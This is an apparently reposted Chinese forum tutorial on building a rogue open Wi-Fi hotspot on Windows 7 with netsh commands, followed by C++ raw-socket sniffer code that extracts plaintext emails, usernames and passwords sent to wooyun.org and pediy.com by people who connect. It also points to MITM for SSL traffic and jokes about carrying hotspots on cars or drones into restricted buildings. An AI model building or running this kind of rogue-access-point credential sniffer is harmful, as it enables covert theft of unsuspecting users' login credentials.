Windows下的无线热点蜜罐
/**************************************
/* 作者:半斤八兩
/* 博客:http://cnblogs.com/bjblcracked
/* 日期:2013-09-30 23:59
/**************************************只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
在许多公共场所我们都会看到有许多免密码的无线热点.我们大多数的人发现有免密热点,都会很高兴的感慨, “运气真好,居然有不要密码的无线热点.” 可是否有人知道自己连上的是一个正在监视自己的眼睛?
WIFI 即Hotspot 也称无线热点,是指在公共场所提供无线局域网(WLAN)接入Internet服务的地点。这类地点多数是咖啡馆、机场、车站、商务酒店、高等院校、大型展览会馆等。这些热点有的是收费的提供无线宽带接入服务,有的则是免费的。在无线热点覆盖的地区,用户可以通过使用装有内置或外置无线网卡的笔记本电脑和PDA,来实现对Internet 的接入。
试验平台:winn7 x86 台式机
工具: 无线网卡(USB)接收器
首先们来说一下怎样搭建wifi 蜜罐.
Win7 下有一个命令可以创建个 wifi.
netsh wlan set hostednetwork ssid=pass:123456789 key=123456789
Ssid 就是上图中显示的东西.
防止别人不知道密码,我们就改成 pass:123456789
Key 我们就直接弄成 123456789
这里要注意, ssid 尽量不要弄中文的.经本人测试,发现 iphone 不支持中文 ssid.
然后我们用命令启动它.
netsh wlan start hostednetwork
这一些前提是我们要先插上 wifi 接收器.
否则我们创建虚拟 wifi 是不会成功的.
现在创建好了,我们写个抓包小程序,就可以等着 chicken 上勾就行了.
抓包我们要用混杂模式. 混杂模式可以抓到当前电脑所有网卡数据包.
#include <stdio.h>
#include <winsock2.h>
#include "DataStruct.h"
#include "InitSocket.h"
#include <iostream>
#include "mstcpip.h"
using namespace std;
CInitSocket initSock;
int nRet = 0;
void IsWifiHoneypots(PCHAR pBuff)
{
PIPHEADER pIphdr = (PIPHEADER)pBuff;
pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);
PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;
memset(szText, ' ', nRet);
int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);
memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);
int i = 0;
char szEmail[MAXBYTE] = {0};
PCHAR pEmail = szEmail;
if(strstr(szText, "wooyun.org"))
if(strstr(szText, "email"))
{
puts("--------------------------------------------");
cout<<"found Wooyun.org password:" << endl;
pEmail = strstr(szText, "email");
for(i = 0; (pEmail[i] != '&'); i++);
pEmail[i] = '\0';
puts(pEmail);
pEmail += i + 1;
if(strstr(pEmail, "password"))
{
pEmail = strstr(pEmail, "password");
for(i = 0; (pEmail[i] != '&'); i++);
pEmail[i] = '\0';
puts(pEmail);
}
puts("--------------------------------------------");
}
if(strstr(szText, "pediy.com"))
if(strstr(szText, "username"))
{
puts("--------------------------------------------");
cout<<"found pediy.com password:" << endl;
pEmail = strstr(szText, "username");
for(i = 0; (pEmail[i] != '&'); i++);
pEmail[i] = '\0';
puts(pEmail);
pEmail += i + 1;
if(strstr(pEmail, "md5password_utf="))
{
pEmail = strstr(pEmail, "md5password_utf=");
for(i = 0; (pEmail[i] != 0x20); i++);
pEmail[i] = '\0';
puts(pEmail);
}
puts("--------------------------------------------");
}
}
int main(void)
{
system("chcp 936 & cls & title windows wifi 蜜罐 by 半斤八兩 & color 0a");
SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
char szHostName[56];
SOCKADDR_IN localAddr;
struct hostent *pHost;
gethostname(szHostName, 56);
if ((pHost = gethostbyname((char*)szHostName)) == NULL)
{
return 0;
}
localAddr.sin_family = AF_INET;
localAddr.sin_port = htons(0);
memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length);
if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR)
{
return 0;
}
DWORD dwValue = 1;
if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)
{
return 0;
}
cout << "<<Listen in Wooyun.org and pediy.com>>" << endl << endl;
char buff[1024];
while(true)
{
nRet = recv(sRaw, buff, 1024, 0);
if (nRet > 0)
{
buff[nRet] = '\0';
IsWifiHoneypots(buff);
}
}
closesocket(sRaw);
return 0;
}
为了敢在国庆前之前,代码写的有点乱.大家将就的看吧.(应该还有不少 BUG.但是 wooyun 和看雪的,应该都能抓到了.)
Wooyun 的 post 直接是明文的密码, 看雪的还是做了 md5 处理.
如果遇到了 ssl 的可以用 mitm 处理. (这里就不说了,网上有很多资料.)
通过文篇文章大家应该注意 不要随意上没有密码的 wifi..
我们设想一下,如果是一个不让进的,或者什么高级产所,我们的 wifi 信号不够广, 我们可以用一个小车子,将 wifi 热点放上去. 开启明显的 ssid. 杀进去.
如果是高楼大厦,那我们可以将 wifi 热点 装进小飞机,杀进去.~
注:本帖由看雪论坛志愿者PEstone 重新将PDF整理排版,若和原文有出入,以原作者附件为准
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课